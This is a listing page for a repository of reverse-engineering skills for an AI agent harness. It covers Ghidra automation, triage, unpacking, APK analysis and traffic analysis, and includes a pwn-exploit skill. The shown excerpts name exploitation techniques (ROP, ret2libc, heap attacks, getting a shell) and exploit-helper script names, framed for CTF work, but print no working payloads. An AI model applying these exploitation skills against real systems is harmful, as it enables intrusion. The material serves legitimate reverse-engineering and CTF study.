Not in the top 1,000 by GitHub stars
Cristallin2006/ghidra-skill-for-dsh
Custom-built for dsh (DeepSeek Harness): persistent Ghidra headless daemon + reverse-engineering agent skills (triage/unpack/decompile/pwn/pcap/APK) with circuit breakers against agent failure loops. 为 dsh 深度定制:会熔断、能从复盘进化的逆向 skill 家族。
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
android-re/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → c73ee62e65b1
No earlier version was observed for comparison.
ghidra-core/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → c73ee62e65b1
No earlier version was observed for comparison.
ghidra-static/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → c73ee62e65b1
No earlier version was observed for comparison.
pwn-exploit/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → c73ee62e65b1
No earlier version was observed for comparison.
re-dynamic/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → c73ee62e65b1
No earlier version was observed for comparison.
re-triage/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → c73ee62e65b1
No earlier version was observed for comparison.
re-unpack/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → c73ee62e65b1
No earlier version was observed for comparison.
traffic-analysis/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → c73ee62e65b1
No earlier version was observed for comparison.
vuln-audit/SKILL.md
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → c73ee62e65b1
No earlier version was observed for comparison.
Heat
1.4- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- android-re
android-re - ghidra-core
ghidra-core - ghidra-static
ghidra-static - pwn-exploit
pwn-exploit - re-dynamic
re-dynamic - re-triage
re-triage - re-unpack
re-unpack - traffic-analysis
traffic-analysis - vuln-audit
vuln-audit
How it works
android-re
When your agent uses it
Android/APK 逆向(纯 DEX / Java 层,APK reversing):APK 分诊(结构/签名/Manifest/多 dex 自有类统计/flag 全扫)、反编译与校验点定位(jadx/smali)、adb 动态驱动与真机 oracle、v1 未签名 APK 改写重签。触发:APK/Android/DEX/安卓/逆向 APK/smali/jadx。不分析原生 so——APK 内含 lib/ 的 .so 走 ghidra-static;不做流量分析——抓包/隐信道走 traffic-analysis。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
283 tokensAlways available to the agent
SKILL.md
3,389 tokensWhen the skill is activated
Reference documents
3,169 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 路径约定
- 脚本索引(`scripts/`,均包官方工具/androguard,工具缺失 exit 3 优雅降级)
- 流程
- 路由表(按分诊发现选路)
- References
Scripts executed separately
scripts/_android_tools.pyscripts/apk_oracle.pyscripts/apk_triage.pyscripts/axml_decompile.pyscripts/dex_disasm.pyscripts/dex_triage.py
Files
SKILL.mdcore10,834 bytesSKILL.mdcore10,834 bytesSKILL.mdcore10,834 bytesSKILL.mdcore10,834 bytesSKILL.mdcore10,834 bytesSKILL.mdcore10,834 bytesSKILL.mdcore10,834 bytesSKILL.mdcore10,834 bytesreferences/apk-triage.mddoc5,030 bytesreferences/dalvik-notes.mddoc4,692 bytesscripts/_android_tools.pyruns5,685 bytesscripts/apk_oracle.pyruns22,767 bytesscripts/apk_triage.pyruns16,884 bytesscripts/axml_decompile.pyruns5,089 bytesscripts/dex_disasm.pyruns7,413 bytesscripts/dex_triage.pyruns9,599 bytes
Read SKILL.md
# Android RE(场景 7:纯 DEX APK 找校验点)
前置:re-triage(路由:APK 含 lib/ → 按 ABI 选 so 走 ghidra-static;纯 DEX → 本 skill)/后继:抠出的 so → ghidra-static;抓到的流量 → traffic-analysis;flag 候选必须过真机 oracle 正负对照后交付
> **纪律**:jadx 已装,**禁止从零自写 DEX/AXML 解析器**;万不得已自写时,结论必须与 apkanalyzer 或 androguard 逐条比对(铁律 11,全文见 ghidra-core §1)——"输出看起来合理"不构成正确性证据。同一路径失败 2 次换工具,单方向 ≤15 分钟(铁律 6,同上)。每个观察/结论走 ghidra-core `scripts/ledger.py` 落账,机制见 ghidra-core `references/evidence-ledger.md`。
## 路径约定
```bash
# Windows:
JADX="$HOME/Desktop/src/tools/jadx/bin/jadx.bat" # jadx 1.5.6(第一反编译源)
SDK="$LOCALAPPDATA/Android/Sdk"
CT="$SDK/cmdline-tools/latest/bin" # apkanalyzer.bat / sdkmanager.bat / avdmanager.bat
ADB="$SDK/platform-tools/adb.exe"View the complete source on GitHubghidra-core
When your agent uses it
Ghidra headless 执行底座(execution engine)——rpc_driver/ghidra-rpc 命令、daemon 起停、doctor 环境自检、脚本清单。当需要实际运行任何 Ghidra 命令(import/decompile/disassemble/rename/patch/version-track)、环境排障、或其他逆向 skill 里的操作不知道具体命令时加载。不含分析方法论。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
195 tokensAlways available to the agent
SKILL.md
19,650 tokensWhen the skill is activated
Reference documents
28,211 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. 环境(本机已配好)
- 1. 十四条铁律(先读这个再动手)
- 2. 快速上手(3 行)
- 4. 裸命令模板(legacy 排障专用;日常用 `rpc_driver.py`)
- 5. 能力清单(三层)
- 7. PyGhidra 移植须知
- 8. 能力边界(什么不做、去哪补)
Scripts executed separately
engine/ghidra-rpc/ghidra_rpc/__init__.pyengine/ghidra-rpc/ghidra_rpc/cli.pyengine/ghidra-rpc/ghidra_rpc/client.pyengine/ghidra-rpc/ghidra_rpc/daemon.pyengine/ghidra-rpc/ghidra_rpc/server/__init__.pyengine/ghidra-rpc/ghidra_rpc/server/_gui_launcher.pyengine/ghidra-rpc/ghidra_rpc/server/context.pyengine/ghidra-rpc/ghidra_rpc/server/launcher.pyengine/ghidra-rpc/ghidra_rpc/server/main.pyengine/ghidra-rpc/ghidra_rpc/server/tools/__init__.pyengine/ghidra-rpc/ghidra_rpc/server/tools/analysis.pyengine/ghidra-rpc/ghidra_rpc/server/tools/bookmarks.pyengine/ghidra-rpc/ghidra_rpc/server/tools/cfg.pyengine/ghidra-rpc/ghidra_rpc/server/tools/cpp.pyengine/ghidra-rpc/ghidra_rpc/server/tools/data_types.pyengine/ghidra-rpc/ghidra_rpc/server/tools/decompiler.pyengine/ghidra-rpc/ghidra_rpc/server/tools/disassembly.pyengine/ghidra-rpc/ghidra_rpc/server/tools/dsh_tools.pyengine/ghidra-rpc/ghidra_rpc/server/tools/memory.pyengine/ghidra-rpc/ghidra_rpc/server/tools/modifications.pyengine/ghidra-rpc/ghidra_rpc/server/tools/navigation.pyengine/ghidra-rpc/ghidra_rpc/server/tools/processor_context.pyengine/ghidra-rpc/ghidra_rpc/server/tools/search.pyengine/ghidra-rpc/ghidra_rpc/server/tools/tags.pyengine/ghidra-rpc/ghidra_rpc/server/tools/version_tracking.pyengine/ghidra-rpc/ghidra_rpc/server/tools/xrefs.pyengine/ghidra-rpc/ghidra_rpc/session.pyengine/ghidra-rpc/ghidra_rpc/transport.pyscripts/add_comment.pyscripts/analysis_config.pyscripts/analyze_binary.pyscripts/apply_c_types.pyscripts/apply_data_type.pyscripts/call_histogram.pyscripts/cone_invert.pyscripts/const_audit.pyscripts/const_scan.pyscripts/crypto_sanity.pyscripts/decomp_lint.pyscripts/decompile_all.pyscripts/decompile_function.pyscripts/doctor.pyscripts/driver.pyscripts/emulate_blob.pyscripts/emulate_function.pyscripts/emulate_program.pyscripts/exec_code.pyscripts/export_binary.pyscripts/frame_map.pyscripts/get_basic_blocks.pyscripts/get_call_graph.pyscripts/get_data_at_address.pyscripts/get_disassembly.pyscripts/get_memory_map.pyscripts/get_symbols.pyscripts/get_xrefs.pyscripts/guarded_run.pyscripts/jt_resolve.pyscripts/launch_gui.pyscripts/layer_dump.pyscripts/ledger.pyscripts/list_classes.pyscripts/list_functions.pyscripts/model_diff.pyscripts/oracle_family.pyscripts/patch_bytes.pyscripts/pe_info.pyscripts/peel_inverse.pyscripts/read_views.pyscripts/rename_symbol.pyscripts/rpc_driver.pyscripts/search_bytes.pyscripts/search_strings.pyscripts/set_analysis_options.pyscripts/set_function_signature.pyscripts/ssa_reconstruct.pyscripts/ssa_trace.pyscripts/triage_scan.pyscripts/unreferenced_data.pyscripts/unreferenced_funcs.pyscripts/venv_health.pyscripts/xor_scan.py
Files
SKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesSKILL.mdcore61,996 bytesengine/VENDOR.mddoc2,271 bytesengine/ghidra-rpc/README.mddoc5,299 bytesengine/ghidra-rpc/docs/flows/android-apk.mddoc7,614 bytesengine/ghidra-rpc/docs/flows/binary-audit.mddoc1,150 bytesengine/ghidra-rpc/docs/flows/patch-analysis.mddoc5,248 bytesengine/ghidra-rpc/docs/flows/vulnerability-research.mddoc1,330 bytesengine/ghidra-rpc/docs/install.mddoc2,517 bytesengine/ghidra-rpc/docs/internals.mddoc9,749 bytesengine/ghidra-rpc/docs/quickstart.mddoc3,289 bytesengine/ghidra-rpc/docs/troubleshooting.mddoc7,800 bytesengine/ghidra-rpc/ghidra_rpc/__init__.pyruns99 bytesengine/ghidra-rpc/ghidra_rpc/cli.pyruns93,467 bytesengine/ghidra-rpc/ghidra_rpc/client.pyruns5,844 bytesengine/ghidra-rpc/ghidra_rpc/daemon.pyruns5,974 bytesengine/ghidra-rpc/ghidra_rpc/server/__init__.pyruns33 bytesengine/ghidra-rpc/ghidra_rpc/server/_gui_launcher.pyruns3,044 bytesengine/ghidra-rpc/ghidra_rpc/server/context.pyruns32,152 bytesengine/ghidra-rpc/ghidra_rpc/server/launcher.pyruns4,583 bytesengine/ghidra-rpc/ghidra_rpc/server/main.pyruns5,720 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/__init__.pyruns1,056 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/analysis.pyruns13,838 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/bookmarks.pyruns8,179 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/cfg.pyruns9,709 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/cpp.pyruns5,669 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/data_types.pyruns50,004 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/decompiler.pyruns10,101 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/disassembly.pyruns13,858 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/dsh_tools.pyruns31,477 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/memory.pyruns14,981 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/modifications.pyruns68,349 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/navigation.pyruns783 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/processor_context.pyruns7,897 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/search.pyruns8,801 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/tags.pyruns6,937 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/version_tracking.pyruns29,022 bytesengine/ghidra-rpc/ghidra_rpc/server/tools/xrefs.pyruns12,213 bytesengine/ghidra-rpc/ghidra_rpc/session.pyruns8,937 bytesengine/ghidra-rpc/ghidra_rpc/transport.pyruns4,714 bytesengine/ghidra-rpc/pyproject.tomlasset715 bytesreferences/crypto-ident.mddoc3,359 bytesreferences/evidence-ledger.mddoc14,175 bytesreferences/headless.mddoc8,110 bytesreferences/pyghidra-migration.mddoc7,063 bytesreferences/scripting.mddoc9,266 bytesreferences/unicorn-harness.mddoc5,632 bytesreferences/windows-powershell.mddoc4,437 bytesscripts/add_comment.pyruns5,815 bytesscripts/analysis_config.pyruns3,086 bytesscripts/analyze_binary.pyruns4,329 bytesscripts/apply_c_types.pyruns5,354 bytesscripts/apply_data_type.pyruns4,868 bytesscripts/call_histogram.pyruns4,487 bytesscripts/cone_invert.pyruns24,461 bytesscripts/const_audit.pyruns10,743 bytesscripts/const_scan.pyruns27,348 bytesscripts/crypto_sanity.pyruns9,336 bytesscripts/decomp_lint.pyruns14,083 bytesscripts/decompile_all.pyruns7,221 bytesscripts/decompile_function.pyruns8,806 bytesscripts/doctor.pyruns37,480 bytesscripts/driver.pyruns22,038 bytesscripts/emulate_blob.pyruns11,294 bytesscripts/emulate_function.pyruns13,086 bytesscripts/emulate_program.pyruns42,353 bytesscripts/exec_code.pyruns5,290 bytesscripts/export_binary.pyruns4,392 bytesscripts/frame_map.pyruns8,959 bytesscripts/get_basic_blocks.pyruns7,123 bytesscripts/get_call_graph.pyruns8,723 bytesscripts/get_data_at_address.pyruns9,503 bytesscripts/get_disassembly.pyruns7,773 bytesscripts/get_memory_map.pyruns4,901 bytesscripts/get_symbols.pyruns8,376 bytesscripts/get_xrefs.pyruns7,653 bytesscripts/guarded_run.pyruns4,616 bytesscripts/jt_resolve.pyruns18,550 bytesscripts/launch_gui.pyruns4,349 bytesscripts/layer_dump.pyruns7,526 bytesscripts/ledger.pyruns62,650 bytesscripts/list_classes.pyruns9,330 bytesscripts/list_functions.pyruns5,347 bytesscripts/model_diff.pyruns14,285 bytesscripts/oracle_family.pyruns16,177 bytesscripts/patch_bytes.pyruns10,108 bytesscripts/pe_info.pyruns3,576 bytesscripts/peel_inverse.pyruns13,618 bytesscripts/read_views.pyruns7,779 bytesscripts/rename_symbol.pyruns6,630 bytesscripts/rpc_driver.pyruns17,176 bytesscripts/search_bytes.pyruns8,271 bytesscripts/search_strings.pyruns5,975 bytesscripts/set_analysis_options.pyruns2,128 bytesscripts/set_function_signature.pyruns6,373 bytesscripts/ssa_reconstruct.pyruns5,782 bytesscripts/ssa_trace.pyruns11,788 bytesscripts/triage_scan.pyruns16,622 bytesscripts/unreferenced_data.pyruns11,807 bytesscripts/unreferenced_funcs.pyruns11,496 bytesscripts/venv_health.pyruns4,503 bytesscripts/xor_scan.pyruns13,089 bytes
Read SKILL.md
# Ghidra Core(执行底座)
唯一的代码与命令知识层。场景 skill(re-triage / ghidra-static / vuln-audit)只含方法论,具体命令一律回本文件查。
- 场景路由:未知样本分诊 → `~/.dsh/skills/re-triage`;脱壳与验证 → `~/.dsh/skills/re-unpack`;静态深挖/patch/交付 → `~/.dsh/skills/ghidra-static`;漏洞模式排查 → `~/.dsh/skills/vuln-audit`
- 非二进制出口:题面是 URL/HTTP 服务 → `~/.dsh/skills/ctf-web`;纯数学密码结构(n/e/c、曲线、PRNG)→ `~/.dsh/skills/ctf-crypto`;pyjail/编码/语言沙箱/杂项 → `~/.dsh/skills/ctf-misc`。pcap → `~/.dsh/skills/traffic-analysis`
- 本 skill 内容:§0 环境 / §1 十四条铁律 / §2 快速上手(含长任务、GUI、doctor)/ §4 legacy 裸命令 / §5 能力清单(三层)/ §7 移植坑 / §8 能力边界
- engine 内部补丁细节不在本文件:见 `engine/VENDOR.md`
## 0. 环境(本机已配好)
> **WSL/Linux 部署的路径映射**(当 `uname` 是 Linux 时,本节常量按下表替换;脚本内部已自动按平台分支,此处供人工/排障参考):
> - `GHIDRA_HOME = /opt/ghidra`,JDK = `/usr/lib/jvm/java-21-openjdk-amd64`(apt openjdk-21)
> - 引擎 venv = `~/ghidra-rpc-venv`(bin/python,无 .exe),legacy venv = `~/pyghidra-venv`View the complete source on GitHubghidra-static
When your agent uses it
对已建立基本认知的二进制做静态深挖(static analysis / reverse engineering):反编译(decompile)、xref 追数据流、语义标注、patch 二进制、导出交付。触发:反编译某函数、提取算法/flag 逻辑、打补丁、批量导出伪码、CTF 逆向题主体攻坚。前提是已知样本类型——未知样本先走 re-triage。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
213 tokensAlways available to the agent
SKILL.md
2,589 tokensWhen the skill is activated
Reference documents
20,852 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 路径约定
- Recon(静态锚点)
- Analysis
- Annotate / Patch / 交付
- 时间盒与退路
- References
Files
SKILL.mdcore8,110 bytesSKILL.mdcore8,110 bytesSKILL.mdcore8,110 bytesSKILL.mdcore8,110 bytesreferences/classic-crypto.mddoc6,648 bytesreferences/cpp-binary.mddoc7,423 bytesreferences/ctf-patterns.mddoc25,022 bytesreferences/decompiler-pitfalls.mddoc9,930 bytesreferences/go-binary.mddoc3,086 bytesreferences/runtime-dependent-verifier.mddoc9,111 bytesreferences/rust-binary.mddoc1,577 bytes
Read SKILL.md
# Ghidra Static(场景 2:深挖它)
前置:未知样本先分诊 → `~/.dsh/skills/re-triage`/后继:交付(报告+产物);具体命令 → `~/.dsh/skills/ghidra-core`
> **铁律 5(确认即标注)**:搞清一个函数立即改成语义名 + 写 plate comment(地址/作用/依据)。结论必须带地址和可复现命令。(全文见 ghidra-core §1)
>
> **证据台账**:本 skill 全程经 ghidra-core `scripts/ledger.py` 落账——`query` 先查后析、`observe` 观察入账(同区第二次回访被脚本强制要求 `--delta`,答不出 = 断路器)、`conclude` 权威结论写入即锁定、`stuck` 卡点必记。机制见 ghidra-core `references/evidence-ledger.md`。
>
> **铁律 8(读数纪律)**:关键常量用 ghidra-core `scripts/read_views.py` 三视图取唯一权威读数并 `conclude` 锁定;反编译器的 hex/字符串渲染只是视图(会吞前导 0),引用前先 `--expect-hex` 对照;观测矛盾先怀疑读数,不怀疑程序;求逆前先正向跑通流水线。(全文见 ghidra-core §1)
>
> **铁律 9/10(缓冲区归属 + 验证独立性)**:imm-store 拼栈上常量必须按 disp 区间归属变量并 `--expect-len` 核对声明长度;求逆前 MUST 过 ghidra-core `scripts/crypto_sanity.py check`,求逆后 MUST 过 `check-result`,exit 2 = 读数可疑禁止求逆。`conclude` 强制 `--source`/`--independent`——patch 态/自写 harness/单一来源的结论标 ⚠UNVERIFIED,禁止原样交付;宣布「不可满足」前必须先正向复现已知输出。(全文见 ghidra-core §1,patch 态细则见 re-dynamic §4)
## 路径约定
View the complete source on GitHubpwn-exploit
When your agent uses it
CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和 nc 地址/冒险游戏菜单题。不做:程序逻辑没读懂(回 ghidra-static)、漏洞模式识别(归 vuln-audit)、web/纯密码题。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
273 tokensAlways available to the agent
SKILL.md
3,386 tokensWhen the skill is activated
Reference documents
133,165 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 路径约定
- 流程
- 脚本速查
- References
Scripts executed separately
scripts/fmtstr_payload_suite.pyscripts/pwn_triage.pyscripts/ret2libc_two_stage.pyscripts/seccomp_orw_generator.pyscripts/shellcraft_asm.pyscripts/srop_execve.py
Files
SKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesreferences/advanced-exploits-2.mddoc30,514 bytesreferences/advanced-exploits-3.mddoc33,468 bytesreferences/advanced-exploits-4.mddoc31,441 bytesreferences/advanced-exploits-5.mddoc6,518 bytesreferences/advanced-exploits.mddoc36,061 bytesreferences/advanced.mddoc14,851 bytesreferences/basic-chain.mddoc7,128 bytesreferences/field-notes.mddoc26,552 bytesreferences/format-string.mddoc33,326 bytesreferences/game-pwn.mddoc7,930 bytesreferences/heap-fsop.mddoc15,421 bytesreferences/heap-techniques-2.mddoc20,469 bytesreferences/heap-techniques.mddoc37,376 bytesreferences/kernel-bypass.mddoc20,277 bytesreferences/kernel-techniques.mddoc19,281 bytesreferences/kernel.mddoc32,991 bytesreferences/overflow-basics.mddoc27,048 bytesreferences/rop-advanced.mddoc33,258 bytesreferences/rop-and-shellcode.mddoc29,018 bytesreferences/sandbox-escape.mddoc15,655 bytesscripts/fmtstr_payload_suite.pyruns3,290 bytesscripts/pwn_triage.pyruns7,103 bytesscripts/ret2libc_two_stage.pyruns2,687 bytesscripts/seccomp_orw_generator.pyruns3,421 bytesscripts/shellcraft_asm.pyruns2,522 bytesscripts/srop_execve.pyruns2,840 bytes
Read SKILL.md
# Pwn Exploit(场景 8:从洞到 flag)
前置:漏洞已由 vuln-audit/ghidra-static 定位,或附件是典型 pwn 配置(binary + libc.so.6 + nc 地址)/后继:拿到远程 flag 回显 → `ledger.py conclude --program-accept` 交付;「打不通、其实是程序没读懂」→ 回 ghidra-static;「洞在哪都还没确认」→ 回 vuln-audit
> **执行环境铁规**:exp 一律在 **WSL** 里跑,pwntools 在 Windows 半残、pwndbg 仅 Linux。Windows 侧只做静态分析(ghidra-core 部分)。
## 路径约定
```bash
# WSL 内:
PW=/root/re-pwn-venv/bin # pwntools 4.15.0(checksec/cyclic/asm/libcdb)+ ROPgadget + ropper + qiling
PE="$HOME/.dsh/skills/pwn-exploit/scripts" # 本 skill 脚本
SK="$HOME/.dsh/skills/ghidra-core/scripts" # ledger.py 等家族闸门
# 系统级:gdb 15.1 + pwndbg(~/.gdbinit 已挂)、one_gadget、seccomp-tools(gem)、patchelf(apt)View the complete source on GitHubre-dynamic
When your agent uses it
让二进制跑起来观察行为(dynamic analysis):直接运行(ELF 走 WSL、PE 走本机)、函数级 Oracle(单函数调用+观察输入输出)、Frida 插桩、gdb/qiling 入口指引。触发:静态看不懂/需要验证函数行为/拿到 check 函数要试输入/想"先跑起来看看"。不做静态分析——那是 ghidra-static。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
199 tokensAlways available to the agent
SKILL.md
3,953 tokensWhen the skill is activated
Reference documents
3,310 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 路径约定
- 1. 直接运行(第一选择,最便宜)
- 2. 函数级 Oracle(oracle.py)
- 3. 升级阶梯(oracle 不够用时)
- 3.5 四个高价值套路(五题复盘 + chal 复盘实战)
- 4. 验证可信度(铁律 10 细则,encode 复盘 E2/E3)
- 防死循环
- References
Scripts executed separately
scripts/frida_time_hook.pyscripts/oracle.pyscripts/win_gui_drive.py
Files
SKILL.mdcore12,830 bytesSKILL.mdcore12,830 bytesSKILL.mdcore12,830 bytesSKILL.mdcore12,830 bytesSKILL.mdcore12,830 bytesSKILL.mdcore12,830 bytesSKILL.mdcore12,830 bytesSKILL.mdcore12,830 bytesSKILL.mdcore12,830 bytesreferences/js-antidebug.mddoc3,111 bytesreferences/js-env-rebuild.mddoc7,861 bytesscripts/frida_time_hook.pyruns27,508 bytesscripts/oracle.pyruns10,511 bytesscripts/win_gui_drive.pyruns10,371 bytes
Read SKILL.md
# RE Dynamic(场景 4:跑起来看)
前置:静态卡住或要验证猜想 → 从 `~/.dsh/skills/ghidra-static` 来;判型不明先 `~/.dsh/skills/re-triage`/后继:拿到运行时事实后回 ghidra-static 标注进台账
> **先跑起来看**:对可执行样本,静态深挖前先花 2 分钟跑一遍观察 I/O——运行行为常常直接告诉你程序结构(菜单、校验提示、魔数),省掉半小时静态。(铁律全文见 ghidra-core §1)
## 路径约定
```bash
ORACLE="$HOME/.dsh/skills/re-dynamic/scripts/oracle.py"
# 后端:qiling(Windows 走 WSL Ubuntu /root/re-pwn-venv;WSL/Linux 下同一 venv 原生可用,
# rootfs /root/qiling-rootfs,均已装)
# re-tools venv:Windows ~/Desktop/src/re-tools-venv/Scripts/python.exe;Linux ~/re-tools-venv/bin/python
# win_gui_drive.py 为 Windows-only;frida_time_hook.py 双平台View the complete source on GitHubre-triage
When your agent uses it
未知二进制的第一步(file triage / sample identification):判文件类型(PE/ELF/Mach-O/固件/APK)、语言(C/C++/Go/Rust/.NET/Python)、壳(packer detection)、威胁面,决定后续路线(静态深挖/动态/换工具)。触发:新样本、未知 exe/elf/bin/固件、"看看这个文件"、疑似加壳、恶意样本分诊(malware triage)。只做判断和路线决策,不做深挖——要深挖去 ghidra-static。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
235 tokensAlways available to the agent
SKILL.md
3,988 tokensWhen the skill is activated
Reference documents
14,345 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 路径约定
- 流程(5~15 分钟,强制起点)
- 任务地图(一个完整逆向任务的全貌)
- 路线决策(判完型之后去哪)
- 流程分级(别对单点题跑完整流程)
- 语言/平台路由(识别到就换打法,别硬上通用流程)
- 分诊判据细则
- References
Files
SKILL.mdcore12,437 bytesSKILL.mdcore12,437 bytesSKILL.mdcore12,437 bytesSKILL.mdcore12,437 bytesSKILL.mdcore12,437 bytesreferences/anti-analysis.mddoc6,298 bytesreferences/dotnet-il.mddoc6,189 bytesreferences/firmware.mddoc9,062 bytesreferences/ollvm-deobf.mddoc5,312 bytesreferences/pyc-bytecode.mddoc6,869 bytesreferences/triage.mddoc8,492 bytes
Read SKILL.md
# RE Triage(场景 1:这是什么?)
前置:无(本 skill 是逆向工作流入口)/后继:检出壳 → `~/.dsh/skills/re-unpack`;判型完成要深挖 → `~/.dsh/skills/ghidra-static`;目的是找漏洞 → `~/.dsh/skills/vuln-audit`;具体命令 → `~/.dsh/skills/ghidra-core`;**输入是 pcap/抓包文件 → 不归本 skill,直接去 `~/.dsh/skills/traffic-analysis`**
> **铁律 4(Triage 硬门)**:未记录 imports(DLL/SYS 还要 exports)+ 语言/壳判定之前,MUST NOT 进入深挖或动态分析。导入表只有 kernel32/ntdll 且极少 → 高度怀疑 `LoadLibrary`+`GetProcAddress` 动态加载,禁止宣称"无网络/无文件能力"。(全文见 ghidra-core §1)
>
> **证据台账**:开工即落账——每次区域观察走 ghidra-core `scripts/ledger.py observe`(首次入账自动建账);新会话接手旧样本先 `ledger.py status` + 读 `<ws>/out/<样本名>.ledger.md` 再动手。机制见 ghidra-core `references/evidence-ledger.md`。
## 路径约定
```bash
SK="$HOME/.dsh/skills/ghidra-core/scripts" # 唯一代码家
# Windows:
RPC="$HOME/Desktop/src/ghidra-bridge/ghidra-rpc-venv/Scripts" # ghidra-rpc CLIView the complete source on GitHubre-unpack
When your agent uses it
对已确认或疑似加壳的二进制执行脱壳与验证(unpacking / deobfuscation):UPX/ASPack/Themida/VMProtect/MPRESS,PyInstaller 解包反编译(pyc/decompile),PE/ELF,多层壳。触发:triage 检出壳、熵高、节名 UPX/.aspack/.vmp、导入表异常干净。只做脱壳与脱壳成功验证——脱完回 re-triage 重新分诊,不做内容分析。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
241 tokensAlways available to the agent
SKILL.md
2,030 tokensWhen the skill is activated
Reference documents
1,427 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 路径约定
- 流程
- 失败阶梯(逐级时间盒,单级 ≤15 分钟)
- 防死循环专节
- References
Scripts executed separately
scripts/pyinstaller_extract.pyscripts/upx_repair.py
Files
SKILL.mdcore6,196 bytesSKILL.mdcore6,196 bytesSKILL.mdcore6,196 bytesSKILL.mdcore6,196 bytesSKILL.mdcore6,196 bytesSKILL.mdcore6,196 bytesSKILL.mdcore6,196 bytesreferences/unpack-playbook.mddoc4,409 bytesscripts/pyinstaller_extract.pyruns16,066 bytesscripts/upx_repair.pyruns5,068 bytes
Read SKILL.md
# RE Unpack(场景:脱壳与验证)
